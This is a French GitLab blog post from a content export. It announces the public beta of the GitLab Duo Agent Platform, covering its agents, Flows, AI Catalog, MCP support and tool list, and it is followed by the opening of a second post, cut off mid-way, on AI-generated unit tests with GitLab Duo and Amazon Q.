GitLab stocke tout le contexte de votre pratique d'ingénierie logicielle en un seul endroit. Nous exposerons ces données unifiées aux agents d'IA via notre graphe de connaissances. Chaque agent que nous construisons a automatiquement accès à cet ensemble de données connecté au SDLC, fournissant un contexte riche pour que les agents puissent faire des recommandations éclairées et prendre des actions qui respectent vos normes organisationnelles.\n\n**Voici un exemple de cet avantage en action.** Avez-vous déjà essayé de comprendre exactement comment un projet progresse à travers des dizaines, voire des centaines de commentaires et de tickets traités par tous les développeurs impliqués ? Notre Deep Research Agent exploite le graphe de connaissances de GitLab et les capacités de recherche sémantique pour parcourir votre epic et tous les tickets connexes, explorer le code source associé et le contexte environnant. Il corrèle rapidement les informations à travers vos dépôts, merge requests et historique de déploiement. Cela fournit des informations essentielles que les outils autonomes ne peuvent égaler et que les développeurs humains mettraient des heures à découvrir. \n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1101998114?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Deep Research Demo_071625_MP_v1\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## Notre évolution stratégique des fonctionnalités d'IA vers l'orchestration d'agents\n\nGitLab Duo a été lancé comme un module d’extension, apportant l'IA générative aux équipes de développement via GitLab Duo Pro et GitLab Duo Enterprise. Avec GitLab 18.0, GitLab Duo est désormais intégré à la plateforme. Nous avons débloqué [GitLab Duo Agentic Chat](https://about.gitlab.com/fr-fr/blog/gitlab-duo-chat-gets-agentic-ai-makeover/) et les suggestions de code pour tous les utilisateurs de GitLab Premium et Ultimate, et nous fournissons un accès immédiat à GitLab Duo Agent Platform. \n\nNous avons augmenté l'investissement en ingénierie et accélérons la livraison, avec de nouvelles fonctionnalités d’IA déployées chaque mois. Mais nous ne construisons pas juste un autre assistant de codage. GitLab Duo devient une plateforme d'orchestration d'agents, où vous pouvez créer, personnaliser et déployer des agents d’IA qui travaillent à vos côtés et interagissent facilement avec d'autres systèmes, augmentant ainsi votre productivité.\n\n> **« GitLab Duo Agent Platform améliore notre workflow de développement avec une IA qui comprend vraiment notre code source et notre organisation. Avoir des agents d’IA intégrés dans notre système d'enregistrement pour le code, les tests, le CI/CD et l'ensemble du cycle de vie du développement logiciel booste la productivité, la vélocité et l'efficacité. Les agents sont devenus de vrais collaborateurs pour nos équipes, et leur capacité à comprendre l'intention, à décomposer les problèmes et à agir permet à nos équipes de se concentrer sur des tâches innovantes et stimulantes. »** - Bal Kang, Engineering Platform Lead chez NatWest\n\n### Des agents qui fonctionnent immédiatement\n\nNous introduisons des agents qui reflètent des rôles d'équipe familiers. Ces agents peuvent rechercher, lire, créer et modifier des artefacts existants dans GitLab. Considérez-les comme des agents avec lesquels vous pouvez interagir individuellement, et qui agissent également comme des blocs de construction que vous pouvez personnaliser pour créer vos propres agents. Comme les membres de votre équipe, les agents ont des spécialisations définies, telles que le développement logiciel, les tests ou la rédaction technique. En tant que spécialistes, ils exploitent les bons contextes et outils pour accomplir de manière cohérente les mêmes types de tâches, où qu'ils soient déployés.\n\nVoici quelques-uns des agents que nous construisons aujourd'hui :\n\n* **Chat Agent (maintenant en version bêta) :** il prend des requêtes en langage naturel pour fournir des informations et du contexte à l'utilisateur. Il peut effectuer des tâches de développement générales, comme la lecture de tickets ou de différences de code. Par exemple, vous pouvez demander à Chat de déboguer un job qui a échoué en fournissant son URL. \n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1101953504?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"agentic-chat-in-web-ui-demo_Update V1\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cp>\u003C/p>\n\n* **Software Developer Agent (maintenant en version bêta) :** il travaille sur des éléments assignés en créant des modifications de code dans des environnements de développement virtuels et en ouvrant des merge requests pour révision.\n\n* **Product Planning Agent :** il priorise les backlogs produit, assigne des éléments de travail aux membres humains et agentiques et l'équipe, et fournit des mises à jour de projet en fonction du calendrier.\n\n* **Software Test Engineer Agent :** il teste les nouvelles contributions de code pour les bogues et valide si les problèmes signalés ont été résolus.\n\n* **Code Reviewer Agent :** il effectue des revues de code suivant les normes de l'équipe, identifie les problèmes de qualité et de sécurité, et peut fusionner le code quand il est prêt.\n\n* **Platform Engineer Agent :** il surveille les déploiements GitLab, y compris les GitLab Runners, suit la santé du pipeline CI/CD, et rapporte les problèmes de performance aux équipes d'ingénierie de plateforme humaines.\n\n* **Security Analyst Agent :** il trouve des vulnérabilités dans le code source et les applications déployées, et implémente des modifications de code et de configuration pour aider à résoudre les faiblesses de sécurité.\n\n* **Deployment Engineer Agent :** il déploie des mises à jour en production, surveille les comportements inhabituels, et annule les modifications qui impactent les performances ou la sécurité de l'application.\n\n* **Deep Research Agent :** il mène une analyse complète et multi-sources à travers tout votre écosystème de développement.\n\nCe qui rend ces agents puissants, c'est leur accès natif à la boîte à outils complète de GitLab. Aujourd'hui, nous avons plus de 25 outils, des tickets et epics aux merge requests et à la documentation, et bien plus à venir. Contrairement aux outils d’IA externes qui fonctionnent avec un contexte limité, nos agents travaillent comme de véritables membres de l'équipe avec des privilèges complets de plateforme sous votre supervision.\n\nDans les mois à venir, vous pourrez également modifier ces agents pour répondre aux besoins de votre organisation. Par exemple, vous pourrez spécifier qu'un Software Test Engineer Agent suit les meilleures pratiques pour un framework ou une méthodologie particulière, approfondissant sa spécialisation et le transformant en un membre d'équipe encore plus précieux.\n\n## Les Flows orchestrent des tâches d'agents complexes\n\nAu-dessus des agents individuels, nous introduisons les Flows d'agents. Considérez-les comme des workflows plus complexes qui peuvent inclure plusieurs agents avec des instructions, étapes et actions pré-construites pour une tâche donnée qui peut s'exécuter de manière autonome.\n\nBien que vous puissiez créer des Flows pour des tâches de base communes aux individus, ils excellent vraiment lorsqu'ils sont appliqués à des tâches complexes et spécialisées qui prendraient normalement des heures de coordination et d'effort pour être complétées. Les Flows vous aideront à terminer des tâches complexes plus rapidement et, dans de nombreux cas, de manière asynchrone sans intervention humaine.\n\nLes Flows ont des déclencheurs spécifiques pour l'exécution. Chaque Flow contient une série d'étapes, et chaque étape a des instructions détaillées qui indiquent à un agent spécialisé quoi faire. Cette approche granulaire vous permet de donner des instructions précises aux agents dans le Flow. En définissant des instructions avec plus de détails et en établissant des points de décision structurés, les Flows peuvent aider à résoudre la variabilité inhérente aux réponses d'IA tout en éliminant le besoin de spécifier les mêmes exigences, débloquant des résultats plus cohérents et prévisibles sans configuration de la part de l'utilisateur.\n\nVoici quelques exemples de Flows prêts à l'emploi :\n\n**Flow de développement logiciel (maintenant en version bêta) :** il orchestre plusieurs agents pour planifier, implémenter et tester des modifications de code de bout en bout, aidant à transformer la façon dont les équipes livrent des fonctionnalités, du concept à la production.\n\n**Flow Issue-to-MR :** il convertit automatiquement les tickets en merge requests exploitables en coordonnant les agents pour analyser les exigences, préparer des plans de mise en œuvre complets et générer du code.\n\n**Flow de conversion de fichier CI :** il rationalise les workflows de migration en demandant aux agents d'analyser les configurations CI/CD existantes et de les convertir intelligemment au format GitLab CI avec une compatibilité complète du pipeline.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1101941425?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"jenkins-to-gitlab-cicd-for-blog\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cp>\u003C/p>\n\n**Flow de recherche et remplacement :** il découvre et transforme des modèles de code à travers le code source en analysant systématiquement les structures de projet, identifiant les opportunités d'optimisation et exécutant des remplacements précis.\n\n**Flow de réponse aux incidents et analyse des causes profondes :** il orchestre la réponse aux incidents en corrélant les données système, coordonnant des agents spécialisés pour l'analyse des causes profondes et exécutant les étapes de remédiation approuvées tout en gardant les parties prenantes humaines informées tout au long du processus de résolution.\n\nC'est là que GitLab Duo Agent Platform adopte une approche vraiment unique par rapport aux autres solutions d’IA. Nous ne vous donnerons pas seulement des agents pré-construits. Nous vous donnerons également le pouvoir de créer, personnaliser et partager des Flows d'agents qui correspondent parfaitement aux besoins de vos équipes et de votre organisation. Avec les Flows, vous pourrez ensuite donner aux agents un plan d'exécution spécifique pour des tâches communes et complexes.\n\nNous croyons que cette approche est plus puissante que de construire des agents spécialisés comme le font nos concurrents, car chaque organisation a des workflows différents, des normes de codage, des exigences de sécurité et une logique métier. Les outils d’IA génériques ne peuvent pas comprendre votre contexte spécifique, mais GitLab Duo Agent Platform s’adaptera au fonctionnement de votre équipe.\n\n## Pourquoi construire des agents et des Flows d'agents dans GitLab Duo Agent Platform ?\n\n**Construire rapidement.** Vous pouvez construire des agents et des Flows d'agents complexes dans Duo Agent Platform rapidement et facilement en utilisant un modèle d'extensibilité déclaratif rapide et une assistance UI.\n\n**Calcul intégré.** Avec Duo Agent Platform, vous n'avez plus à vous soucier des tracas de mise en œuvre de votre propre infrastructure pour les agents : le calcul, le réseau et le stockage sont intégrés.\n\n**Événements SDLC.** Vos agents peuvent être invoqués automatiquement sur des événements communs : pipeline en échec, déploiement interrompu, problème créé, etc.\n\n**Accès instantané.** Vous pouvez interagir avec vos agents dans GitLab ou au sein de notre plug-in IDE : assignez-leur des tickets, @mentionnez-les dans les commentaires et discutez avec eux partout où GitLab Duo Chat est disponible.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1102029239?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"assigning an agent an issue\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script> \u003Cp>\u003C/p>\n\n**Modèles intégrés et personnalisés pris en charge.** Vos agents auront un accès automatique à tous les modèles que nous prenons en charge, et les utilisateurs pourront choisir des modèles spécifiques pour des tâches spécifiques. Si vous souhaitez connecter Duo Agent Platform à votre propre modèle auto-hébergé, vous pourrez également le faire. \n\n**Points de terminaison MCP.** Chaque agent et Flow peut être accessible ou déclenché via des points de terminaison MCP natifs, vous permettant de vous connecter et de collaborer avec vos agents et vos Flows de n'importe où, y compris des outils populaires comme Claude Code, Cursor, Copilot et Windsurf.\n\n**Observabilité et sécurité.** Enfin, nous fournissons une observabilité intégrée et des tableaux de bord d'utilisation, afin que vous puissiez voir exactement qui, où, quoi et quand les agents ont effectué des actions en votre nom.\n\n## Un avenir piloté par la communauté\n\nLes contributions de la communauté ont longtemps alimenté l'innovation et le développement logiciel de GitLab. Nous sommes ravis de nous associer à notre communauté avec l'introduction du Catalogue IA. Le Catalogue IA vous permettra de créer et de partager des agents et des Flows au sein de votre organisation et à travers l'écosystème GitLab dans notre prochaine version bêta.\n\nNous croyons que les applications d’IA les plus précieuses sont susceptibles d'émerger de notre communauté, grâce à votre usage quotidien de GitLab Duo Agent Platform pour résoudre de nombreux cas d'utilisation du monde réel. En permettant le partage transparent d'agents et de Flows, nous créons un effet de réseau où chaque contribution améliore l'intelligence et la valeur collectives de la plateforme.\n\n![AI Catalog](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752685501/awdwx08udwrxgvcpmssb.png \"AI Catalog\")\n\n## Disponible aujourd'hui dans GitLab Duo Agent Platform en bêta publique\n\nLa version bêta publique de GitLab Duo Agent Platform est disponible dès maintenant pour les clients Premium et Ultimate avec les fonctionnalités suivantes :\n\n**Flow de Développement Logiciel :** notre premier Flow orchestre des agents pour rassembler un contexte complet, clarifier les ambiguïtés avec les équipes de développement humaines et exécuter des plans stratégiques pour apporter des modifications précises à votre code source et votre dépôt. Il exploite l'ensemble de votre projet, y compris sa structure, son code source et son historique, ainsi que des contextes supplémentaires comme les tickets GitLab ou les merge requests pour amplifier la productivité des équipes de développement.\n\n**Nouveaux outils d'agent disponibles :** les agents ont maintenant accès à plusieurs outils pour faire leur travail, notamment :\n\n* Système de fichiers (lire, créer, éditer, trouver des fichiers, lister, Grep)\n* Exécuter la ligne de commande*\n* Tickets (lister, obtenir, obtenir les commentaires, éditer*, créer*, ajouter/mettre à jour les commentaires*)\n* Epics (obtenir, obtenir les commentaires)\n* Merge requests (obtenir, obtenir les commentaires, obtenir le diff, créer, mettre à jour)\n* Pipeline (job logs, erreurs de pipeline)\n* Projet (obtenir, obtenir le fichier)\n* Commits (obtenir, lister, obtenir les commentaires, obtenir le diff)\n* Recherche (recherche de problèmes)\n* Sécurisé (lister les vulnérabilités)\n* Recherche de documentation\n  *=Nécessite l'approbation de l'utilisateur\n\n**GitLab Duo Agentic Chat dans l'IDE :** Duo Agentic Chat transforme l'expérience de chat d'un outil de questions-réponses passif en un partenaire de développement actif directement dans votre IDE.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1101953477?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"agentic-ai-launch-video_Updated V1\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n* **Retour itératif et historique de chat :** Duo Agentic Chat prend désormais en charge l'historique de chat et le retour itératif, transformant l'agent en un partenaire conversationnel. Cela favorise la confiance, permettant aux équipes de développement de déléguer des tâches plus complexes et d'offrir des conseils correctifs.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1101743173?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"agentic-chat-history\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n* **Délégation rationalisée avec des commandes slash :** des commandes slash étendues et plus puissantes, telles que /explain, /tests et /include, créent un « langage de délégation » pour une intention rapide et précise. La commande /include permet l'injection explicite de contexte à partir de fichiers spécifiques, de tickets ouverts, de merge requests ou de dépendances directement dans la mémoire de travail de l'agent, rendant l'agent plus puissant et enseignant aux utilisateurs comment fournir un contexte optimal pour des réponses de qualité.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1101743187?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"include-agentic-chat-jc-voiceover\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n* **Personnalisation via des règles personnalisées :** les nouvelles règles personnalisées permettent aux équipes de développement d'adapter le comportement de l'agent en fonction de leurs préférences en utilisant le langage naturel, par exemple, des guides de style de développement. Ce mécanisme façonne la personnalité de l'agent en un assistant personnalisé, évoluant vers des agents spécialisés basés sur les préférences définies par l'utilisateur et les politiques organisationnelles.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1101743179?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"custom-rules-with-jc-voiceover\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n* **Support pour GitLab Duo Agentic Chat dans JetBrains IDE :** Pour aider à rencontrer les développeurs là où ils travaillent, nous avons étendu la prise en charge de Duo Agentic Chat à la famille d'IDE JetBrains, y compris IntelliJ, PyCharm, GoLand et Webstorm. Cela s'ajoute à notre support existant pour VS Code. Les utilisateurs existants obtiennent automatiquement les fonctionnalités agentiques, tandis que les nouveaux utilisateurs peuvent installer le plugin depuis le JetBrains Marketplace.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1101743193?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"jetbrains-support-jc-voiceover\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n* **Support client MCP :** Duo Agentic Chat peut maintenant agir comme client MCP, se connectant aux serveurs MCP distants et locaux.\n\nCette fonctionnalité débloque la capacité de l'agent à se connecter à des systèmes au-delà de GitLab comme Jira, ServiceNow et ZenDesk pour rassembler du contexte ou prendre des mesures. Tout service qui s'expose via MCP peut maintenant faire partie de l'ensemble de compétences de l'agent. Le serveur MCP officiel GitLab arrive bientôt !\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1101743202?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"McpDemo\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n* **GitLab Duo Agentic Chat dans l'interface Web de GitLab.** Duo Agentic Chat est maintenant disponible directement dans l'interface Web de GitLab. Cette étape fait évoluer l'agent d'un assistant de codage à un véritable agent DevSecOps, car il accède à un contexte riche non lié au code, comme les tickets et les discussions intégrées aux merge requests, lui permettant de comprendre le « pourquoi » derrière une tâche. Au-delà de la compréhension du contexte, l'agent peut apporter des modifications directement depuis l'interface Web, comme mettre à jour automatiquement les statuts des tickets ou éditer les descriptions des merge requests.\n\n## Bientôt disponible dans GitLab Duo Agent Platform\n\nAu cours des prochaines semaines, nous publierons de nouvelles capacités pour Duo Agent Platform, y compris plus d'agents et de Flows prêts à l'emploi. Celles-ci permettront une personnalisation et une extensibilité encore plus grandes, amplifiant la productivité de nos clients : \n\n![GitLab Duo Agent Platform public beta roadmap](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752685275/hjbe9iiu2ydp9slibsc2.png \"GitLab Duo Agent Platform public beta roadmap\")\n\n* **Expérience GitLab intégrée :** s'appuyant sur les extensions IDE disponibles dans 18.2, nous étendons les agents et les Flows au sein de la plateforme GitLab. Cette intégration élargira la manière dont vous pouvez collaborer de manière synchrone et asynchrone avec les agents. Vous pourrez assigner des tickets directement aux agents, les @mentionner dans GitLab Duo Chat, et les invoquer de manière transparente depuis n'importe où dans l'application tout en maintenant la connectivité MCP depuis votre outil de développement préféré. Cette intégration native transforme les agents en véritables membres de l'équipe de développement, accessibles dans GitLab.\n\n* **Observabilité des agents :** alors que les agents deviennent plus autonomes, nous construisons une visibilité complète de leur activité pendant qu'ils progressent dans les Flows, vous permettant de surveiller leurs processus de prise de décision, de suivre les étapes d'exécution et de comprendre comment ils interprètent et agissent sur vos défis liés au développement. Cette transparence dans le comportement des agents renforce la confiance tout en vous permettant d'optimiser les workflows, d'identifier les goulots d'étranglement et aide à garantir que les agents fonctionnent comme prévu.\n\n* **Catalogue IA :** reconnaissant que les grandes solutions viennent de l'innovation communautaire, nous introduirons bientôt la bêta publique de notre Catalogue IA — une marketplace qui vous permettra d'étendre Duo Agent Platform avec des agents et des Flows spécialisés provenant de GitLab, et au fil du temps, de la communauté. Vous pourrez déployer rapidement ces solutions dans GitLab, en exploitant le contexte à travers vos projets et votre code source.\n\n* **Graphe de connaissances :** exploitant l'avantage unique de GitLab en tant que système d'enregistrement pour le code source et son contexte environnant, nous construisons un graphe de connaissances complet qui non seulement cartographie les fichiers et les dépendances à travers le code source, mais rend également cette carte navigable pour les utilisateurs tout en accélérant les temps de requête IA et en aidant à augmenter la précision. Cela permet aux agents GitLab Duo de comprendre rapidement les relations à travers tout votre environnement de développement, des dépendances de code aux modèles de déploiement, débloquant des réponses plus rapides et plus précises aux questions complexes.\n\n![GitLab Duo Agent Platform Knowledge Graph](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752685367/n0tvfgorchuhrronic3j.png \"GitLab Duo Agent Platform Knowledge Graph\")\n\n* **Créer et éditer des agents et des Flows :** comprenant que chaque organisation a des workflows et des exigences uniques, nous développons de puissantes capacités de création et d'édition d'agents et de Flows qui seront introduites à mesure que le Catalogue IA mûrit. Vous pourrez créer et modifier des agents et des Flows pour qu'ils fonctionnent précisément comme votre organisation, offrant une personnalisation à travers Duo Agent Platform qui permet des résultats de meilleure qualité et une productivité accrue.\n\n![AI Catalog](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752684938/fruwqcqvvrx8gmkz5u0v.png \"AI Catalog\")\n\n* **Serveur MCP officiel GitLab :** reconnaissant que les développeurs travaillent à travers plusieurs outils et environnements, nous construisons un serveur MCP officiel GitLab qui vous permettra d'accéder à tous vos agents et Flows via MCP. Vous pourrez vous connecter et collaborer avec vos agents et vos Flows quel que soit l'endroit oú le MCP est pris en charge, y compris depuis des outils populaires comme Claude Code, Cursor, Copilot et Windsurf, débloquant une collaboration IA transparente quel que soit votre environnement de développement préféré.\n\n* **GitLab Duo Agent Platform CLI :** notre interface de ligne de commande à venir vous permettra d'invoquer des agents et de déclencher des Flows en ligne de commande, en exploitant le contexte riche de GitLab à travers l'ensemble du cycle de vie du développement logiciel : des dépôts de code et des merge requests aux pipelines CI/CD et au suivi des tickets.\n\n## Testez notre bêta publique dès aujourd'hui !\n\n* **Les clients GitLab Premium et Ultimate** dans les environnements GitLab.com et GitLab Self-Managed utilisant GitLab 18.2 peuvent utiliser Duo Agent Platform immédiatement (les fonctionnalités bêta et expérimentales pour GitLab Duo [doivent être activées](https://docs.gitlab.com/user/gitlab_duo/turn_on_off/#turn-on-beta-and-experimental-features)).\n\n* Les utilisateurs doivent télécharger l'[extension VS Code](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow) ou le [plugin JetBrains IDEs](https://plugins.jetbrains.com/plugin/22857-gitlab) et suivre notre [guide pour utiliser GitLab Duo Agentic Chat](https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/#use-agentic-chat), y compris les [commandes slash](https://docs.gitlab.com/user/gitlab_duo_chat/examples/#gitlab-duo-chat-slash-commands) Duo Chat.\n\n**Nouveau sur GitLab ?** Tout le monde peut rejoindre notre prochaine [démo Technique pour découvrir GitLab Duo Agent Platform](https://page.gitlab.com/webcasts-jul16-gitlab-duo-agentic-ai-emea-amer.html) en action. Pour avoir une expérience pratique avec GitLab Duo Agent Platform, inscrivez-vous pour un [essai gratuit](https://gitlab.com/-/trials/new?glm_content=default-saas-trial&glm_source=about.gitlab.com%2Fsales%2F) aujourd'hui.\n\n\u003Csmall>*Cet article de blog contient des « déclarations prospectives » au sens de la Section 27A du Securities Act de 1933, tel que modifié, et de la Section 21E du Securities Exchange Act de 1934. Bien que nous croyions que les attentes reflétées dans les déclarations prospectives contenues dans cet article de blog sont raisonnables, elles sont soumises à des risques connus et inconnus, des incertitudes, des hypothèses et d'autres facteurs qui peuvent faire que les résultats ou les issues réels soient matériellement différents de tout résultat ou issue futur exprimé ou impliqué par les déclarations prospectives.*\n\n*Des informations supplémentaires sur les risques, incertitudes et autres facteurs qui pourraient faire que les résultats et les issues réels diffèrent matériellement de ceux inclus ou envisagés par les déclarations prospectives contenues dans cet article de blog sont incluses sous la rubrique « Facteurs de risque » et ailleurs dans les dépôts et rapports que nous faisons auprès de la Securities and Exchange Commission. Nous ne nous engageons pas à mettre à jour ou à réviser toute déclaration prospective ou à signaler tout événement ou circonstance après la date de cet article de blog ou à refléter la survenance d'événements imprévus, sauf si la loi l'exige.*\u003C/small>",{"featured":92,"template":683,"slug":955},"gitlab-duo-agent-platform-public-beta","content:fr-fr:blog:gitlab-duo-agent-platform-public-beta.yml","Gitlab Duo Agent Platform Public Beta","fr-fr/blog/gitlab-duo-agent-platform-public-beta.yml","fr-fr/blog/gitlab-duo-agent-platform-public-beta",{"_path":961,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":962,"content":966,"config":973,"_id":975,"_type":16,"title":976,"_source":17,"_file":977,"_stem":978,"_extension":20},"/fr-fr/blog/enhance-application-quality-with-ai-powered-test-generation",{"noIndex":6,"title":963,"ogTitle":963,"description":964,"ogDescription":964,"ogImage":965},"Améliorez votre processus d'assurance qualité avec l’IA","Découvrez comment GitLab Duo combiné à Amazon Q améliore le processus d'assurance qualité en générant automatiquement des tests unitaires complets.","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,w_1640,h_1000,c_lfill/v1749659604/Blog/Hero%20Images/Screenshot_2024-11-27_at_4.55.28_PM.png",{"title":967,"description":964,"authors":968,"heroImage":965,"date":970,"body":971,"category":697,"tags":972},"Améliorer la qualité des applications avec la génération de tests alimentée par l'IA",[969],"Cesar Saavedra","2025-07-15","Vous savez à quel point la qualité des applications est essentielle pour vos clients et votre réputation. Cependant, garantir cette qualité avec des tests complets peut s’avérer complexe. Vous êtes confronté à des processus manuels chronophages, une couverture de test incohérente au sein de votre équipe, ou des problèmes qui parviennent à passer à travers les mailles du filet. Il est ainsi frustrant de voir votre notation chuter à cause d’une assurance qualité qui devient un goulot d'étranglement plutôt qu'une protection.\n\nC'est là que [GitLab Duo combiné à Amazon Q](https://about.gitlab.com/fr-fr/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/) peut transformer votre processus d’assurance qualité. Cette fonctionnalité alimentée par l'IA peut générer automatiquement des tests unitaires complets pour votre code, accélérant considérablement votre workflow d'assurance qualité. Au lieu de passer des heures à écrire des tests manuellement, vous pouvez laisser l'IA analyser votre code et créer des tests qui garantissent une couverture optimale et une qualité constante au sein de votre application.\n\n## Comment fonctionne GitLab Duo combiné à Amazon Q ?\n\nLorsque vous travaillez sur une nouvelle fonctionnalité, vous commencez par sélectionner la classe Java que vous avez ajoutée à votre projet via une merge request. Il vous suffit de naviguer vers votre merge request et de cliquer sur l'onglet « Modifier » pour voir le nouveau code que vous avez ajouté.\n\nEnsuite, vous invoquez Amazon Q en saisissant une commande d'action rapide. Tout ce que vous devez faire est de renseigner `/q test` dans la zone de commentaire du ticket. C'est aussi simple que cela : juste une barre oblique, la lettre « q », et le mot « test ».\n\nUne fois que vous avez appuyé sur la touche Entrée, Amazon Q entre en action. Il analyse votre code sélectionné, comprend sa structure, sa logique et son objectif. L'IA examine les méthodes de votre classe, les dépendances, et les cas limites potentiels pour déterminer quels tests sont nécessaires.\n\nEn quelques instants, Amazon Q génère une couverture de tests unitaires complète pour votre nouvelle classe. Il crée des tests qui couvrent non seulement le chemin heureux (« happy path »), mais aussi les cas limites et les conditions d'erreur que vous auriez pu négliger. Les tests générés suivent les modèles et conventions existants de votre projet, garantissant qu'ils s'intègrent parfaitement à votre code source.\n\n## Pourquoi utiliser GitLab Duo combiné à Amazon Q ?\n\nVous avez commencé avec le défi suivant : maintenir des applications de haute qualité tout en gérant les contraintes de temps et les pratiques de test incohérentes. GitLab Duo combiné à Amazon Q répond à ce défi en automatisant le processus de génération de tests, garantissant une couverture de code optimale et des normes de test cohérentes. Résultat ? Les problèmes sont détectés avant le déploiement, vos applications maintiennent leur qualité, et vous pouvez développer des logiciels plus rapidement sans sacrifier la fiabilité.\n\nAvantages clés de cette fonctionnalité :\n\n* Une réduction du temps consacré à l'écriture de tests unitaires\n* Une couverture de tests complète sur l'ensemble de votre code source\n* Une qualité de tests constante pour tous les membres de votre équipe\n* Une détection des problèmes avant qu'ils n'atteignent l’environnement de production\n* Une accélération de votre vitesse de développement\n\nVous souhaitez en savoir plus sur cette fonctionnalité ? Découvrez comment GitLab Duo combiné à Amazon Q transforme votre processus d'assurance qualité et consultez notre [page partenaire GitLab et AWS](https://about.gitlab.com/partners/technology-partners/aws/ \"Page partenaire GitLab et AWS\") pour obtenir des informations détaillées.\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n\u003Ciframe 